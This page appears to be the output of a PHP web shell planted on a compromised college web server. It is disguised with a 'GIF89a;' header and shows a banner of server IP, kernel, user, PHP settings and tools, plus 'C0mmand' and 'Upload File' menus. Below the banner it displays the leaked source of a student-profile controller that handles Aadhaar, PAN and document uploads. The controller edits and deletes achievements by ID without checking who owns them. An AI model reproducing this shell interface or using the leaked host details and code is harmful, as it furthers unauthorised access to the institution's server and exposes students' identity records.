GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.128.200.165 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../admission/../cas/application/controllers/student/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller class for handling all requests related to student profile. * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class Profile extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('admin/StudentManagement'); $this->load->model('admin/IDProofManagement'); $this->load->model('admin/DocumentManagement'); $this->load->model('admin/DocumentInfoManagement'); $this->load->model('admin/AchievementManagement'); $this->load->model('admin/SessionManagement'); } public function index() { if ($this->sessionvalidator->isStudentLoggedIn()) { $aadharIdInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(2, "S")->result()[0]; $PANInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(1, "S")->result()[0]; $CSTCInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(5, "S")->result()[0]; $AICInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(6, "S")->result()[0]; $viewData['stuPersonalInfoWithPicAndSign'] = $this->StudentManagement->getStudentPersonalInfoAndPhotoSignBy($this->session->userdata("studentData")["stu_id"])->result()[0]; $viewData['stuAadharNumber'] = $this->IDProofManagement->getIdProofInfoBy($this->session->userdata("studentData")["stu_id"], $aadharIdInfo->tipsm_id)->result()[0]->tipi_number; $viewData['stuPANNumber'] = $this->IDProofManagement->getIdProofInfoBy($this->session->userdata("studentData")["stu_id"], $PANInfo->tipsm_id)->result()[0]->tipi_number; $viewData['stuCSTCNumber'] = $this->IDProofManagement->getIdProofInfoBy($this->session->userdata("studentData")["stu_id"], $CSTCInfo->tipsm_id)->result()[0]->tipi_number; $viewData['stuAICNumber'] = $this->IDProofManagement->getIdProofInfoBy($this->session->userdata("studentData")["stu_id"], $AICInfo->tipsm_id)->result()[0]->tipi_number; $viewData['stuFatherName'] = $this->StudentManagement->getStudentFatherInfoBy($this->session->userdata("studentData")["stu_id"])->result()[0]->tfbi_name; $viewData['stuMotherName'] = $this->StudentManagement->getStudentMotherInfoBy($this->session->userdata("studentData")["stu_id"])->result()[0]->tfbi_name; $viewData['stuContactInfo'] = $this->StudentManagement->getStudentContactInfoBy($this->session->userdata("studentData")["stu_id"])->result()[0]; $viewData['stuEduQualifInfo'] = $this->StudentManagement->getStudentEducationalQualificationInfo($this->session->userdata("studentData")["stu_id"])->result(); $viewData['stuFamilyBGInfo'] = $this->StudentManagement->getStudentFamilyBackgroundInfoBy($this->session->userdata("studentData")["stu_id"])->result(); $viewData['stuHostelAndResidInfo'] = $this->StudentManagement->getStudentHostelAndResidenceChoiceInfoBy($this->session->userdata("studentData")["stu_id"])->result()[0]; $viewData['stuEntranceExamAndProfExpInfo'] = $this->StudentManagement->getStudentStudentEntranceExamProfExpAndExtraCurricularInfoBy($this->session->userdata("studentData")["stu_id"])->result()[0]; $allowedDocuments = $this->DocumentManagement->getAllDocumentsUptoCategory($viewData['stuPersonalInfoWithPicAndSign']->course_category)->result(); $uploadedDocsInfo = array(); for ($i = 0; $i < sizeof($allowedDocuments); $i++) { if ($this->DocumentInfoManagement->isDocumentUploaded($this->session->userdata("studentData")["stu_id"], $allowedDocuments[$i]->doc_id, "S")) { $uploadedDocumentInfo = $this->DocumentInfoManagement->getUploadedDocumentOfStudentBy($this->session->userdata("studentData")["stu_id"], $allowedDocuments[$i]->doc_id)->result()[0]; $thisDocInfo = array( 'is_uploaded' => 1, 'tddi_id' => $uploadedDocumentInfo->tddi_id, 'doc_id' => $allowedDocuments[$i]->doc_id, 'doc_name' => $allowedDocuments[$i]->doc_name, 'file_name' => $uploadedDocumentInfo->tddi_doc_file_path ); } else { $thisDocInfo = array( 'is_uploaded' => 0, 'tddi_id' => -1, 'doc_id' => $allowedDocuments[$i]->doc_id, 'doc_name' => $allowedDocuments[$i]->doc_name, 'file_name' => '' ); } array_push($uploadedDocsInfo, $thisDocInfo); } $viewData['stuDocumentInfo'] = $uploadedDocsInfo; $this->load->view('student/profile', $viewData); } else { redirect("student/"); } } public function updatePhotoAndSignature() { if ($this->sessionvalidator->isStudentLoggedIn()) { $studentDocumentInfo = array(); if (!empty($_FILES['stuPhotograph']['name'])) { $studentImg['upload_path'] = './assets/admin/uploads/studentData/'; $studentImg['allowed_types'] = 'jpeg|jpg|png'; $studentImg['max_size'] = '500'; $studentImg['file_ext_tolower'] = TRUE; $studentImg['encrypt_name'] = TRUE; $this->load->library('upload', $studentImg); if (!$this->upload->do_upload('stuPhotograph')) { $this->session->set_flashdata('errorMessage', "Photo Can Not Be Uploaded As It Violates Upload File Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg."); $this->index(); } else { $studentPhotoInfo = array( 'tddi_id' => $this->input->post('stuPhotoDocInfoId'), 'tddi_doc_file_path' => $this->upload->data()['file_name'], 'tddi_updated_on' => date("Y-m-d H:i:s") ); array_push($studentDocumentInfo, $studentPhotoInfo); } } if (!empty($_FILES['stuSignature']['name'])) { $studentSignImg['upload_path'] = './assets/admin/uploads/studentData/'; $studentSignImg['allowed_types'] = 'jpeg|jpg|png'; $studentSignImg['max_size'] = '500'; $studentSignImg['file_ext_tolower'] = TRUE; $studentSignImg['encrypt_name'] = TRUE; $this->load->library('upload', $studentSignImg); if (!$this->upload->do_upload('stuSignature')) { $this->session->set_flashdata('errorMessage', "Signature Can Not Be Uploaded As It Violates Upload File Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg."); $this->index(); } else { $studentSignInfo = array( 'tddi_id' => $this->input->post('stuSignDocInfoId'), 'tddi_doc_file_path' => $this->upload->data()['file_name'], 'tddi_updated_on' => date("Y-m-d H:i:s") ); array_push($studentDocumentInfo, $studentSignInfo); } } if (sizeof($studentDocumentInfo)) { $this->DocumentInfoManagement->updateStudentDocumentInfoMulti($studentDocumentInfo); $this->session->set_flashdata('successMessage', 'Upload Successful.'); redirect("student/Profile"); } else { $this->session->set_flashdata('errorMessage', "Please Attach A File To Upload."); $this->index(); } } else { redirect("student/"); } } /* Request Handlers For Achievement Module */ public function myAchievements() { if ($this->sessionvalidator->isStudentLoggedIn()) { $viewData['myAchievements'] = $this->AchievementManagement->getAllAchievementsBy($this->session->userdata("studentData")["stu_id"], "S", "F")->result(); $this->load->view('student/achievements', $viewData); } else { redirect("student/"); } } public function createAchievement() { if ($this->sessionvalidator->isStudentLoggedIn()) { $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions(array('O', 'C'))->result(); $viewData['achievementHeads'] = $this->AchievementManagement->getNonDeletedActiveAchievementHeads('S')->result(); $this->load->view('student/createAchievement', $viewData); } else { redirect("student/"); } } public function saveNewAchievement() { if ($this->sessionvalidator->isStudentLoggedIn()) { $this->form_validation->set_rules('achvTitle', 'Achievement Title', 'trim|required', array('required' => 'Please Enter Achievement Title.')); $this->form_validation->set_rules('achvHead', 'Achievement Head', 'trim|required', array('required' => 'Please Select Any Achievement Head.')); $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Please Select Any Session.')); $this->form_validation->set_rules('achvDesc', 'Achievement Description', 'trim|required', array('required' => 'Description Can Not Be Blank.')); if ($this->form_validation->run() == FALSE) { $this->createAchievement(); } else { if (empty($_FILES['achvFile']['name'])) { $newAchievementInfo = array( 'sam_title' => stripslashes($this->input->post("achvTitle")), 'tsam_id' => stripslashes($this->input->post("achvHead")), 'session_id' => stripslashes($this->input->post("session")), 'sam_description' => stripslashes($this->input->post("achvDesc")), 'object_id' => $this->session->userdata("studentData")["stu_id"], 'object_type' => 'S', 'sam_added_on' => date("Y-m-d H:i:s"), 'sam_updated_on' => date("Y-m-d H:i:s") ); if ($this->AchievementManagement->createNewAchievement($newAchievementInfo)) { $this->session->set_flashdata('successMessage', 'Your Achievement Has Been Saved Successfully.'); redirect("student/Profile/myAchievements"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Saving Your Achievement. Try Later.'); redirect(current_url()); } } else { $achievementFileNameWithPath = ""; $configAchievementFile['upload_path'] = './assets/admin/uploads/achievements/'; $configAchievementFile['allowed_types'] = 'pdf'; $configAchievementFile['max_size'] = '2048'; $configAchievementFile['file_ext_tolower'] = TRUE; $configAchievementFile['encrypt_name'] = TRUE; $this->load->library('upload', $configAchievementFile); if (!$this->upload->do_upload("achvFile")) { $this->session->set_flashdata('errorMessage', 'The File Can Not Be Uploaded As It Violates The Upload Criteria. File Size 2 MB Max. & Allowed Extension: Only *.pdf.'); $this->createAchievement(); } else { $achievementFileNameWithPath = "/assets/admin/uploads/achievements/" . $this->upload->data()['file_name']; $newAchievementInfo = array( 'sam_title' => stripslashes($this->input->post("achvTitle")), 'tsam_id' => stripslashes($this->input->post("achvHead")), 'session_id' => stripslashes($this->input->post("session")), 'sam_description' => stripslashes($this->input->post("achvDesc")), 'object_id' => $this->session->userdata("studentData")["stu_id"], 'object_type' => 'S', 'sam_file' => $achievementFileNameWithPath, 'sam_added_on' => date("Y-m-d H:i:s"), 'sam_updated_on' => date("Y-m-d H:i:s") ); if ($this->AchievementManagement->createNewAchievement($newAchievementInfo)) { $this->session->set_flashdata('successMessage', 'Your Achievement Has Been Saved Successfully.'); redirect("student/Profile/myAchievements"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Saving Your Achievement. Try Later.'); redirect(current_url()); } } } } } else { redirect("student/"); } } public function editAchievement($sam_id) { if ($this->sessionvalidator->isStudentLoggedIn()) { $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions(array('O', 'C'))->result(); $viewData['achievementHeads'] = $this->AchievementManagement->getNonDeletedActiveAchievementHeads()->result(); $viewData['achievementInfo'] = $this->AchievementManagement->getAchievementBy($sam_id)->result()[0]; $this->load->view('student/editAchievement', $viewData); } else { redirect("student/"); } } public function updateAchievement() { if ($this->sessionvalidator->isStudentLoggedIn()) { $sam_id = $this->input->post('achvId'); $this->form_validation->set_rules('achvTitle', 'Achievement Title', 'trim|required', array('required' => 'Please Enter Achievement Title.')); $this->form_validation->set_rules('achvHead', 'Achievement Head', 'trim|required', array('required' => 'Please Select Any Achievement Head.')); $this->form_validation->set_rules('session', 'Session', 'trim|required', array('required' => 'Please Select Any Session.')); $this->form_validation->set_rules('achvDesc', 'Achievement Description', 'trim|required', array('required' => 'Description Can Not Be Blank.')); $achievementCurrentFileName = substr($this->input->post('currentAchievementFile'), strripos($this->input->post('currentAchievementFile'), "/") + 1); if ($this->form_validation->run() == FALSE) { $this->editAchievement($sam_id); } else { if (empty($_FILES['achvFile']['name'])) { $achievementUpdateData = array( 'sam_id' => $sam_id, 'sam_title' => stripslashes($this->input->post("achvTitle")), 'tsam_id' => stripslashes($this->input->post("achvHead")), 'session_id' => stripslashes($this->input->post("session")), 'sam_description' => stripslashes($this->input->post("achvDesc")), 'sam_updated_on' => date("Y-m-d H:i:s") ); if ($this->AchievementManagement->updateAchievement($achievementUpdateData)) { $this->session->set_flashdata('successMessage', 'Your Achievement Has Been Updated Successfully.'); redirect("student/Profile/myAchievements"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Your Achievement. Try Later.'); redirect(current_url()); } } else { $achievementFileNameWithPath = ""; $configAchievementFile['upload_path'] = './assets/admin/uploads/achievements/'; $configAchievementFile['allowed_types'] = 'pdf'; $configAchievementFile['max_size'] = '2048'; $configAchievementFile['file_ext_tolower'] = TRUE; $configAchievementFile['encrypt_name'] = TRUE; $this->load->library('upload', $configAchievementFile); if (!$this->upload->do_upload("achvFile")) { $this->session->set_flashdata('errorMessage', 'The File Can Not Be Uploaded As It Violates The Upload Criteria. File Size 2 MB Max. & Allowed Extension: Only *.pdf.'); $this->editAchievement($sam_id); } else { if (file_exists("./assets/admin/uploads/achievements/" . $achievementCurrentFileName)) { unlink("./assets/admin/uploads/achievements/" . $achievementCurrentFileName); } $achievementFileNameWithPath = "/assets/admin/uploads/achievements/" . $this->upload->data()['file_name']; $achievementUpdateData = array( 'sam_id' => $sam_id, 'sam_title' => stripslashes($this->input->post("achvTitle")), 'tsam_id' => stripslashes($this->input->post("achvHead")), 'session_id' => stripslashes($this->input->post("session")), 'sam_description' => stripslashes($this->input->post("achvDesc")), 'sam_file' => $achievementFileNameWithPath, 'sam_updated_on' => date("Y-m-d H:i:s") ); if ($this->AchievementManagement->updateAchievement($achievementUpdateData)) { $this->session->set_flashdata('successMessage', 'Your Achievement Has Been Updated Successfully.'); redirect("student/Profile/myAchievements"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Your Achievement. Try Later.'); redirect(current_url()); } } } } } else { redirect("student/"); } } public function deleteAchievement($sam_id) { if ($this->sessionvalidator->isStudentLoggedIn()) { $achievementUpdateData = array( 'sam_id' => $sam_id, 'sam_updated_on' => date("Y-m-d H:i:s"), 'sam_delete_status' => 'T' ); if ($this->AchievementManagement->updateAchievement($achievementUpdateData)) { $this->session->set_flashdata('successMessage', 'Achievement Deleted Successfully.'); redirect("student/Profile/myAchievements"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Achievement. Try Later.'); redirect(current_url()); } } else { redirect("student/"); } } }